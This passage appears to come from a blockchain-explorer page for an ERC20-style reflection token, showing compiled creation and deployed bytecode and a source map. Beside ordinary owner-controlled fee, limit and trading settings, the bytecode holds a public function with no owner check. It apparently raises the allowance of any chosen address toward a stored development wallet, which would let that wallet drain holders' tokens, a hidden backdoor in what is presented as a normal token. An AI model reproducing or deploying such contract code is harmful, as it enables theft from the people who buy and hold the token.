90925090506112ae82826112b5565b9250505090565b6000610fad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061145c565b600e541580156113075750600f54155b1561130e57565b600e8054601055600f805460115560009182905555565b6000806000806000806113378761148a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061136990876114e7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113989086611529565b6001600160a01b0389166000908152600260205260409020556113ba81611588565b6113c484836115d2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161140991815260200190565b60405180910390a3505050505050505050565b6008546000908190670de0b6b3a764000061143782826112b5565b82101561145357505060085492670de0b6b3a764000092509050565b90939092509050565b6000818361147d5760405162461bcd60e51b8152600401610604919061171a565b506000610f278486611a50565b60008060008060008060008060006114a78a600e54600f546115f6565b92509250925060006114b7611292565b905060008060006114ca8e87878761164b565b919e509c509a509598509396509194505050505091939550919395565b6000610fad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ef6565b6000806115368385611993565b905083811015610fad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610604565b6000611592611292565b905060006115a0838361169b565b306000908152600260205260409020549091506115bd9082611529565b30600090815260026020526040902055505050565b6008546115df90836114e7565b6008556009546115ef9082611529565b6009555050565b6000808080611610606461160a898961169b565b906112b5565b90506000611623606461160a8a8961169b565b9050600061163b826116358b866114e7565b906114e7565b9992985090965090945050505050565b600080808061165a888661169b565b90506000611668888761169b565b90506000611676888861169b565b905060006116888261163586866114e7565b939b939a50919850919650505050505050565b6000826116aa5750600061056b565b60006116b68385611a72565b9050826116c38583611a50565b14610fad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610604565b600060208083528351808285015260005b818110156117475785810183015185820160400152820161172b565b81811115611759576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461178457600080fd5b50565b6000806040838503121561179a57600080fd5b82356117a58161176f565b946020939093013593505050565b6000806000606084860312156117c857600080fd5b83356117d38161176f565b925060208401356117e38161176f565b929592945050506040919091013590565b60006020828403121561180657600080fd5b5035919050565b60006020828403121561181f57600080fd5b8135610fad8161176f565b8035801515811461183a57600080fd5b919050565b60006020828403121561185157600080fd5b610fad8261182a565b60008060006040848603121561186f57600080fd5b833567ffffffffffffffff8082111561188757600080fd5b818601915086601f83011261189b57600080fd5b8135818111156118aa57600080fd5b8760208260051b85010111156118bf57600080fd5b6020928301955093506118d5918601905061182a565b90509250925092565b600080604083850312156118f157600080fd5b82356118fc8161176f565b9150602083013561190c8161176f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561198c5761198c611962565b5060010190565b600082198211156119a6576119a6611962565b500190565b6000828210156119bd576119bd611962565b500390565b6000602082840312156119d457600080fd5b8151610fad8161176f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a2f5784516001600160a01b031683529383019391830191600101611a0a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611a6d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a8c57611a8c611962565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201929b9349d92f1750211fe96e6ee568c2e06b330ad53e5fe7efb4b93d34fd58c64736f6c63430008090033

Deployed Bytecode

0x6080604052600436106101a05760003560e01c80637d1db4a5116100ec578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e146104b4578063dff46e21146104fa578063ea1644d51461051a578063f2fde38b1461053a57600080fd5b8063a9059cbb1461045f578063c492f0461461047f578063c9567bf91461049f57600080fd5b80638f9a55c0116100c65780638f9a55c0146103db57806395d89b41146103f1578063962dfc751461041f578063a8b089821461043f57600080fd5b80637d1db4a51461038757806385320beb1461039d5780638da5cb5b146103bd57600080fd5b8063313ce5671161015957806370a082311161013357806370a0823114610312578063715018a61461033257806371f4b7e11461034757806374010ece1461036757600080fd5b8063313ce567146102b457806337e294d5146102d0578063632af960146102f057600080fd5b806306fdde03146101ac578063095ea7b3146101f15780631694505e1461022157806318160ddd1461025957806323b872dd1461027e5780632fd689e31461029e57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b5060408051808201909152600a8152690d0c2f4cad85cc6c2e6d60b31b60208201525b6040516101e8919061171a565b60405180910390f35b3480156101fd57600080fd5b5061021161020c366004611787565b61055a565b60405190151581526020016101e8565b34801561022d57600080fd5b50600454610241906001600160a01b031681565b6040516001600160a01b0390911681526020016101e8565b34801561026557600080fd5b50670de0b6b3a76400005b6040519081526020016101e8565b34801561028a57600080fd5b506102116102993660046117b3565b610571565b3480156102aa57600080fd5b5061027060155481565b3480156102c057600080fd5b50604051600981526020016101e8565b3480156102dc57600080fd5b50601854610241906001600160a01b031681565b3480156102fc57600080fd5b5061031061030b3660046117f4565b6105da565b005b34801561031e57600080fd5b5061027061032d36600461180d565b610612565b34801561033e57600080fd5b50610310610634565b34801561035357600080fd5b5061031061036236600461183f565b6106a8565b34801561037357600080fd5b506103106103823660046117f4565b6106ee565b34801561039357600080fd5b5061027060135481565b3480156103a957600080fd5b50601654610241906001600160a01b031681565b3480156103c957600080fd5b506000546001600160a01b0316610241565b3480156103e757600080fd5b5061027060145481565b3480156103fd57600080fd5b50604080518082019091526005815264121056915360da1b60208201526101db565b34801561042b57600080fd5b50601754610241906001600160a01b031681565b34801561044b57600080fd5b50600554610241906001600160a01b031681565b34801561046b57600080fd5b5061021161047a366004611787565b61071d565b34801561048b57600080fd5b5061031061049a36600461185a565b61072a565b3480156104ab57600080fd5b506103106107cb565b3480156104c057600080fd5b506102706104cf3660046118de565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561050657600080fd5b50610310610515366004611787565b610804565b34801561052657600080fd5b506103106105353660046117f4565b610820565b34801561054657600080fd5b5061031061055536600461180d565b61084f565b6000610567338484610939565b5060015b92915050565b600061057e848484610a5e565b6105d084336105cb85604051806060016040528060288152602001611a92602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610ef6565b610939565b5060019392505050565b6000546001600160a01b0316331461060d5760405162461bcd60e51b815260040161060490611917565b60405180910390fd5b601555565b6001600160a01b03811660009081526002602052604081205461056b90610f30565b6000546001600160a01b0316331461065e5760405162461bcd60e51b815260040161060490611917565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106d25760405162461bcd60e51b815260040161060490611917565b60128054911515620100000262ff000019909216919091179055565b6000546001600160a01b031633146107185760405162461bcd60e51b815260040161060490611917565b601355565b6000610567338484610a5e565b6000546001600160a01b031633146107545760405162461bcd60e51b815260040161060490611917565b60005b828110156107c55781600760008686858181106107765761077661194c565b905060200201602081019061078b919061180d565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806107bd81611978565b915050610757565b50505050565b6000546001600160a01b031633146107f55760405162461bcd60e51b815260040161060490611917565b6012805460ff19166001179055565b60175461081c9083906001600160a01b031683610fb4565b5050565b6000546001600160a01b0316331461084a5760405162461bcd60e51b815260040161060490611917565b601455565b6000546001600160a01b031633146108795760405162461bcd60e51b815260040161060490611917565b6001600160a01b0381166108de5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610604565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661099b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610604565b6001600160a01b0382166109fc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610604565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ac25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610604565b6001600160a01b038216610b245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610604565b60008111610b865760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610604565b6000546001600160a01b03848116911614801590610bb257506000546001600160a01b03838116911614155b15610def5760125460ff16610c44576000546001600160a01b03848116911614610c445760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610604565b601354811115610c965760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610604565b6005546001600160a01b03838116911614610d1b5760145481610cb884610612565b610cc29190611993565b10610d1b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610604565b6000610d2630610612565b601554601354919250821015908210610d3f5760135491505b808015610d545750601254610100900460ff16155b8015610d6e57506005546001600160a01b03868116911614155b8015610d82575060125462010000900460ff165b8015610da757506001600160a01b03851660009081526007602052604090205460ff16155b8015610dcc57506001600160a01b03841660009081526007602052604090205460ff16155b15610dec57610dda82611037565b478015610dea57610dea476111d3565b505b50505b6001600160a01b03831660009081526007602052604090205460019060ff1680610e3157506001600160a01b03831660009081526007602052604090205460ff165b80610e6357506005546001600160a01b03858116911614801590610e6357506005546001600160a01b03848116911614155b15610e7057506000610eea565b6005546001600160a01b038581169116148015610e9b57506004546001600160a01b03848116911614155b15610ead57600a54600e55600b54600f555b6005546001600160a01b038481169116148015610ed857506004546001600160a01b03858116911614155b15610eea57600c54600e55600d54600f555b6107c584848484611264565b60008184841115610f1a5760405162461bcd60e51b8152600401610604919061171a565b506000610f2784866119ab565b95945050505050565b6000600854821115610f975760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610604565b6000610fa1611292565b9050610fad83826112b5565b9392505050565b6001600160a01b03808416600090815260066020908152604080832093861683529290529081208054839290610feb908490611993565b92505081905550816001600160a01b0316836001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a5191815260200190565b6012805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061107b5761107b61194c565b60200260200101906001600160a01b031690816001600160a01b031681525050600460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156110e957600080fd5b505afa1580156110fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112191906119c2565b816001815181106111345761113461194c565b6001600160a01b03928316602091820292909201015260045461115a9130911684610939565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac94791611192918691600091879130914291016119df565b600060405180830381600087803b1580156111ac57600080fd5b505af11580156111c0573d6000803e3d6000fd5b50506012805461ff001916905550505050565b60006111e0600283611a50565b905060006111ee8284611993565b6017546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015611229573d6000803e3d6000fd5b506016546040516001600160a01b039091169083156108fc029084906000818181858888f193505050501580156107c5573d6000803e3d6000fd5b80611271576112716112f7565b61127c848484611325565b806107c5576107c5601054600e55601154600f55565b600080600061129f61141c565b90925090506112ae82826112b5565b9250505090565b6000610fad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061145c565b600e541580156113075750600f54155b1561130e57565b600e8054601055600f805460115560009182905555565b6000806000806000806113378761148a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061136990876114e7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113989086611529565b6001600160a01b0389166000908152600260205260409020556113ba81611588565b6113c484836115d2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161140991815260200190565b60405180910390a3505050505050505050565b6008546000908190670de0b6b3a764000061143782826112b5565b82101561145357505060085492670de0b6b3a764000092509050565b90939092509050565b6000818361147d5760405162461bcd60e51b8152600401610604919061171a565b506000610f278486611a50565b60008060008060008060008060006114a78a600e54600f546115f6565b92509250925060006114b7611292565b905060008060006114ca8e87878761164b565b919e509c509a509598509396509194505050505091939550919395565b6000610fad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ef6565b6000806115368385611993565b905083811015610fad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610604565b6000611592611292565b905060006115a0838361169b565b306000908152600260205260409020549091506115bd9082611529565b30600090815260026020526040902055505050565b6008546115df90836114e7565b6008556009546115ef9082611529565b6009555050565b6000808080611610606461160a898961169b565b906112b5565b90506000611623606461160a8a8961169b565b9050600061163b826116358b866114e7565b906114e7565b9992985090965090945050505050565b600080808061165a888661169b565b90506000611668888761169b565b90506000611676888861169b565b905060006116888261163586866114e7565b939b939a50919850919650505050505050565b6000826116aa5750600061056b565b60006116b68385611a72565b9050826116c38583611a50565b14610fad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610604565b600060208083528351808285015260005b818110156117475785810183015185820160400152820161172b565b81811115611759576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461178457600080fd5b50565b6000806040838503121561179a57600080fd5b82356117a58161176f565b946020939093013593505050565b6000806000606084860312156117c857600080fd5b83356117d38161176f565b925060208401356117e38161176f565b929592945050506040919091013590565b60006020828403121561180657600080fd5b5035919050565b60006020828403121561181f57600080fd5b8135610fad8161176f565b8035801515811461183a57600080fd5b919050565b60006020828403121561185157600080fd5b610fad8261182a565b60008060006040848603121561186f57600080fd5b833567ffffffffffffffff8082111561188757600080fd5b818601915086601f83011261189b57600080fd5b8135818111156118aa57600080fd5b8760208260051b85010111156118bf57600080fd5b6020928301955093506118d5918601905061182a565b90509250925092565b600080604083850312156118f157600080fd5b82356118fc8161176f565b9150602083013561190c8161176f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561198c5761198c611962565b5060010190565b600082198211156119a6576119a6611962565b500190565b6000828210156119bd576119bd611962565b500390565b6000602082840312156119d457600080fd5b8151610fad8161176f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a2f5784516001600160a01b031683529383019391830191600101611a0a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611a6d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a8c57611a8c611962565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201929b9349d92f1750211fe96e6ee568c2e06b330ad53e5fe7efb4b93d34fd58c64736f6c63430008090033

Deployed Bytecode Sourcemap

4672:13141:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7215:83;;;;;;;;;;-1:-1:-1;7285:5:0;;;;;;;;;;;;-1:-1:-1;;;7285:5:0;;;;7215:83;;;;;;;:::i;:::-;;;;;;;;8140:193;;;;;;;;;;-1:-1:-1;8140:193:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;8140:193:0;1072:187:1;5001:41:0;;;;;;;;;;-1:-1:-1;5001:41:0;;;;-1:-1:-1;;;;;5001:41:0;;;;;;-1:-1:-1;;;;;1454:32:1;;;1436:51;;1424:2;1409:18;5001:41:0;1264:229:1;7492:95:0;;;;;;;;;;-1:-1:-1;5298:21:0;7492:95;;;1644:25:1;;;1632:2;1617:18;7492:95:0;1498:177:1;8341:446:0;;;;;;;;;;-1:-1:-1;8341:446:0;;;;;:::i;:::-;;:::i;6024:52::-;;;;;;;;;;;;;;;;7401:83;;;;;;;;;;-1:-1:-1;7401:83:0;;4891:1;2283:36:1;;2271:2;2256:18;7401:83:0;2141:184:1;6287:88:0;;;;;;;;;;-1:-1:-1;6287:88:0;;;;-1:-1:-1;;;;;6287:88:0;;;17517:138;;;;;;;;;;-1:-1:-1;17517:138:0;;;;;:::i;:::-;;:::i;:::-;;7595;;;;;;;;;;-1:-1:-1;7595:138:0;;;;;:::i;:::-;;:::i;3370:148::-;;;;;;;;;;;;;:::i;17707:101::-;;;;;;;;;;-1:-1:-1;17707:101:0;;;;;:::i;:::-;;:::i;11838:108::-;;;;;;;;;;-1:-1:-1;11838:108:0;;;;;:::i;:::-;;:::i;5910:49::-;;;;;;;;;;;;;;;;6085:95;;;;;;;;;;-1:-1:-1;6085:95:0;;;;-1:-1:-1;;;;;6085:95:0;;;3156:79;;;;;;;;;;-1:-1:-1;3194:7:0;3221:6;-1:-1:-1;;;;;3221:6:0;3156:79;;5966:51;;;;;;;;;;;;;;;;7306:87;;;;;;;;;;-1:-1:-1;7378:7:0;;;;;;;;;;;;-1:-1:-1;;;7378:7:0;;;;7306:87;;6187:93;;;;;;;;;;-1:-1:-1;6187:93:0;;;;-1:-1:-1;;;;;6187:93:0;;;5049:26;;;;;;;;;;-1:-1:-1;5049:26:0;;;;-1:-1:-1;;;;;5049:26:0;;;7741:199;;;;;;;;;;-1:-1:-1;7741:199:0;;;;;:::i;:::-;;:::i;12077:234::-;;;;;;;;;;-1:-1:-1;12077:234:0;;;;;:::i;:::-;;:::i;10285:79::-;;;;;;;;;;;;;:::i;7948:184::-;;;;;;;;;;-1:-1:-1;7948:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;8097:18:0;;;8065:7;8097:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7948:184;10372:133;;;;;;;;;;-1:-1:-1;10372:133:0;;;;;:::i;:::-;;:::i;11954:115::-;;;;;;;;;;-1:-1:-1;11954:115:0;;;;;:::i;:::-;;:::i;3526:244::-;;;;;;;;;;-1:-1:-1;3526:244:0;;;;;:::i;:::-;;:::i;8140:193::-;8242:4;8264:39;1995:10;8287:7;8296:6;8264:8;:39::i;:::-;-1:-1:-1;8321:4:0;8140:193;;;;;:::o;8341:446::-;8473:4;8490:36;8500:6;8508:9;8519:6;8490:9;:36::i;:::-;8537:220;8560:6;1995:10;8608:138;8664:6;8608:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8608:19:0;;;;;;:11;:19;;;;;;;;1995:10;8608:33;;;;;;;;;;:37;:138::i;:::-;8537:8;:220::i;:::-;-1:-1:-1;8775:4:0;8341:446;;;;;:::o;17517:138::-;3283:6;;-1:-1:-1;;;;;3283:6:0;1995:10;3283:22;3275:67;;;;-1:-1:-1;;;3275:67:0;;;;;;;:::i;:::-;;;;;;;;;17607:19:::1;:40:::0;17517:138::o;7595:::-;-1:-1:-1;;;;;7708:16:0;;7661:7;7708:16;;;:7;:16;;;;;;7688:37;;:19;:37::i;3370:148::-;3283:6;;-1:-1:-1;;;;;3283:6:0;1995:10;3283:22;3275:67;;;;-1:-1:-1;;;3275:67:0;;;;;;;:::i;:::-;3477:1:::1;3461:6:::0;;3440:40:::1;::::0;-1:-1:-1;;;;;3461:6:0;;::::1;::::0;3440:40:::1;::::0;3477:1;;3440:40:::1;3508:1;3491:19:::0;;-1:-1:-1;;;;;;3491:19:0::1;::::0;;3370:148::o;17707:101::-;3283:6;;-1:-1:-1;;;;;3283:6:0;1995:10;3283:22;3275:67;;;;-1:-1:-1;;;3275:67:0;;;;;;;:::i;:::-;17774:11:::1;:26:::0;;;::::1;;::::0;::::1;-1:-1:-1::0;;17774:26:0;;::::1;::::0;;;::::1;::::0;;17707:101::o;11838:108::-;3283:6;;-1:-1:-1;;;;;3283:6:0;1995:10;3283:22;3275:67;;;;-1:-1:-1;;;3275:67:0;;;;;;;:::i;:::-;11912:12:::1;:26:::0;11838:108::o;7741:199::-;7846:4;7868:42;1995:10;7892:9;7903:6;7868:9;:42::i;12077:234::-;3283:6;;-1:-1:-1;;;;;3283:6:0;1995:10;3283:22;3275:67;;;;-1:-1:-1;;;3275:67:0;;;;;;;:::i;:::-;12194:9:::1;12190:114;12209:19:::0;;::::1;12190:114;;;12284:8;12250:18;:31;12269:8;;12278:1;12269:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12250:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;12250:31:0;:42;;-1:-1:-1;;12250:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12230:3;::::1;::::0;::::1;:::i;:::-;;;;12190:114;;;;12077:234:::0;;;:::o;10285:79::-;3283:6;;-1:-1:-1;;;;;3283:6:0;1995:10;3283:22;3275:67;;;;-1:-1:-1;;;3275:67:0;;;;;;;:::i;:::-;10336:13:::1;:20:::0;;-1:-1:-1;;10336:20:0::1;10352:4;10336:20;::::0;;10285:79::o;10372:133::-;10472:16;;10448:49;;10465:5;;-1:-1:-1;;;;;10472:16:0;10490:6;10448:16;:49::i;:::-;10372:133;;:::o;11954:115::-;3283:6;;-1:-1:-1;;;;;3283:6:0;1995:10;3283:22;3275:67;;;;-1:-1:-1;;;3275:67:0;;;;;;;:::i;:::-;12031:14:::1;:30:::0;11954:115::o;3526:244::-;3283:6;;-1:-1:-1;;;;;3283:6:0;1995:10;3283:22;3275:67;;;;-1:-1:-1;;;3275:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3615:22:0;::::1;3607:73;;;::::0;-1:-1:-1;;;3607:73:0;;5603:2:1;3607:73:0::1;::::0;::::1;5585:21:1::0;5642:2;5622:18;;;5615:30;5681:34;5661:18;;;5654:62;-1:-1:-1;;;5732:18:1;;;5725:36;5778:19;;3607:73:0::1;5401:402:1::0;3607:73:0::1;3717:6;::::0;;3696:38:::1;::::0;-1:-1:-1;;;;;3696:38:0;;::::1;::::0;3717:6;::::1;::::0;3696:38:::1;::::0;::::1;3745:6;:17:::0;;-1:-1:-1;;;;;;3745:17:0::1;-1:-1:-1::0;;;;;3745:17:0;;;::::1;::::0;;;::::1;::::0;;3526:244::o;9469:369::-;-1:-1:-1;;;;;9596:19:0;;9588:68;;;;-1:-1:-1;;;9588:68:0;;6010:2:1;9588:68:0;;;5992:21:1;6049:2;6029:18;;;6022:30;6088:34;6068:18;;;6061:62;-1:-1:-1;;;6139:18:1;;;6132:34;6183:19;;9588:68:0;5808:400:1;9588:68:0;-1:-1:-1;;;;;9675:21:0;;9667:68;;;;-1:-1:-1;;;9667:68:0;;6415:2:1;9667:68:0;;;6397:21:1;6454:2;6434:18;;;6427:30;6493:34;6473:18;;;6466:62;-1:-1:-1;;;6544:18:1;;;6537:32;6586:19;;9667:68:0;6213:398:1;9667:68:0;-1:-1:-1;;;;;9746:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9798:32;;1644:25:1;;;9798:32:0;;1617:18:1;9798:32:0;;;;;;;;9469:369;;;:::o;12319:2235::-;-1:-1:-1;;;;;12441:18:0;;12433:68;;;;-1:-1:-1;;;12433:68:0;;6818:2:1;12433:68:0;;;6800:21:1;6857:2;6837:18;;;6830:30;6896:34;6876:18;;;6869:62;-1:-1:-1;;;6947:18:1;;;6940:35;6992:19;;12433:68:0;6616:401:1;12433:68:0;-1:-1:-1;;;;;12520:16:0;;12512:64;;;;-1:-1:-1;;;12512:64:0;;7224:2:1;12512:64:0;;;7206:21:1;7263:2;7243:18;;;7236:30;7302:34;7282:18;;;7275:62;-1:-1:-1;;;7353:18:1;;;7346:33;7396:19;;12512:64:0;7022:399:1;12512:64:0;12604:1;12595:6;:10;12587:64;;;;-1:-1:-1;;;12587:64:0;;7628:2:1;12587:64:0;;;7610:21:1;7667:2;7647:18;;;7640:30;7706:34;7686:18;;;7679:62;-1:-1:-1;;;7757:18:1;;;7750:39;7806:19;;12587:64:0;7426:405:1;12587:64:0;3194:7;3221:6;-1:-1:-1;;;;;12668:15:0;;;3221:6;;12668:15;;;;:32;;-1:-1:-1;3194:7:0;3221:6;-1:-1:-1;;;;;12687:13:0;;;3221:6;;12687:13;;12668:32;12664:1173;;;12755:13;;;;12750:146;;3194:7;3221:6;-1:-1:-1;;;;;12797:15:0;;;3221:6;;12797:15;12789:91;;;;-1:-1:-1;;;12789:91:0;;8038:2:1;12789:91:0;;;8020:21:1;8077:2;8057:18;;;8050:30;8116:34;8096:18;;;8089:62;8187:33;8167:18;;;8160:61;8238:19;;12789:91:0;7836:427:1;12789:91:0;12930:12;;12920:6;:22;;12912:63;;;;-1:-1:-1;;;12912:63:0;;8470:2:1;12912:63:0;;;8452:21:1;8509:2;8489:18;;;8482:30;8548;8528:18;;;8521:58;8596:18;;12912:63:0;8268:352:1;12912:63:0;13013:11;;-1:-1:-1;;;;;13007:17:0;;;13013:11;;13007:17;13004:144;;13078:14;;13069:6;13053:13;13063:2;13053:9;:13::i;:::-;:22;;;;:::i;:::-;:39;13045:87;;;;-1:-1:-1;;;13045:87:0;;8960:2:1;13045:87:0;;;8942:21:1;8999:2;8979:18;;;8972:30;9038:34;9018:18;;;9011:62;-1:-1:-1;;;9089:18:1;;;9082:33;9132:19;;13045:87:0;8758:399:1;13045:87:0;13164:28;13195:24;13213:4;13195:9;:24::i;:::-;13273:19;;13336:12;;13164:55;;-1:-1:-1;13249:43:0;;;;13312:36;;13309:124;;13405:12;;13382:35;;13309:124;13453:7;:18;;;;-1:-1:-1;13465:6:0;;;;;;;13464:7;13453:18;:41;;;;-1:-1:-1;13483:11:0;;-1:-1:-1;;;;;13475:19:0;;;13483:11;;13475:19;;13453:41;:56;;;;-1:-1:-1;13498:11:0;;;;;;;13453:56;:85;;;;-1:-1:-1;;;;;;13514:24:0;;;;;;:18;:24;;;;;;;;13513:25;13453:85;:112;;;;-1:-1:-1;;;;;;13543:22:0;;;;;;:18;:22;;;;;;;;13542:23;13453:112;13449:377;;;13586:32;13597:20;13586:10;:32::i;:::-;13666:21;13710:22;;13706:105;;13757:34;13769:21;13757:11;:34::i;:::-;13567:259;13449:377;12702:1135;;12664:1173;-1:-1:-1;;;;;13913:24:0;;13849:12;13913:24;;;:18;:24;;;;;;13864:4;;13913:24;;;:50;;-1:-1:-1;;;;;;13941:22:0;;;;;;:18;:22;;;;;;;;13913:50;13912:98;;;-1:-1:-1;13977:11:0;;-1:-1:-1;;;;;13969:19:0;;;13977:11;;13969:19;;;;:40;;-1:-1:-1;13998:11:0;;-1:-1:-1;;;;;13992:17:0;;;13998:11;;13992:17;;13969:40;13908:582;;;-1:-1:-1;14037:5:0;13908:582;;;14120:11;;-1:-1:-1;;;;;14112:19:0;;;14120:11;;14112:19;:53;;;;-1:-1:-1;14149:15:0;;-1:-1:-1;;;;;14135:30:0;;;14149:15;;14135:30;;14112:53;14109:158;;;14197:13;;14186:8;:24;14239:12;;14229:7;:22;14109:158;14326:11;;-1:-1:-1;;;;;14320:17:0;;;14326:11;;14320:17;:53;;;;-1:-1:-1;14357:15:0;;-1:-1:-1;;;;;14341:32:0;;;14357:15;;14341:32;;14320:53;14316:161;;;14405:14;;14394:8;:25;14448:13;;14438:7;:23;14316:161;14502:44;14520:4;14526:2;14530:6;14538:7;14502:17;:44::i;1024:224::-;1144:7;1180:12;1172:6;;;;1164:29;;;;-1:-1:-1;;;1164:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1204:9:0;1216:5;1220:1;1216;:5;:::i;:::-;1204:17;1024:224;-1:-1:-1;;;;;1024:224:0:o;8795:323::-;8890:7;8948;;8937;:18;;8915:110;;;;-1:-1:-1;;;8915:110:0;;9494:2:1;8915:110:0;;;9476:21:1;9533:2;9513:18;;;9506:30;9572:34;9552:18;;;9545:62;-1:-1:-1;;;9623:18:1;;;9616:40;9673:19;;8915:110:0;9292:406:1;8915:110:0;9036:19;9058:10;:8;:10::i;:::-;9036:32;-1:-1:-1;9086:24:0;:7;9036:32;9086:11;:24::i;:::-;9079:31;8795:323;-1:-1:-1;;;8795:323:0:o;9852:181::-;-1:-1:-1;;;;;9944:18:0;;;;;;;:11;:18;;;;;;;;:25;;;;;;;;;;;:35;;9973:6;;9944:18;:35;;9973:6;;9944:35;:::i;:::-;;;;;;;;10011:5;-1:-1:-1;;;;;9995:30:0;10004:5;-1:-1:-1;;;;;9995:30:0;;10018:6;9995:30;;;;1644:25:1;;1632:2;1617:18;;1498:177;14562:477:0;6470:6;:13;;-1:-1:-1;;6470:13:0;;;;;14658:16:::1;::::0;;14672:1:::1;14658:16:::0;;;;;::::1;::::0;;-1:-1:-1;;14658:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1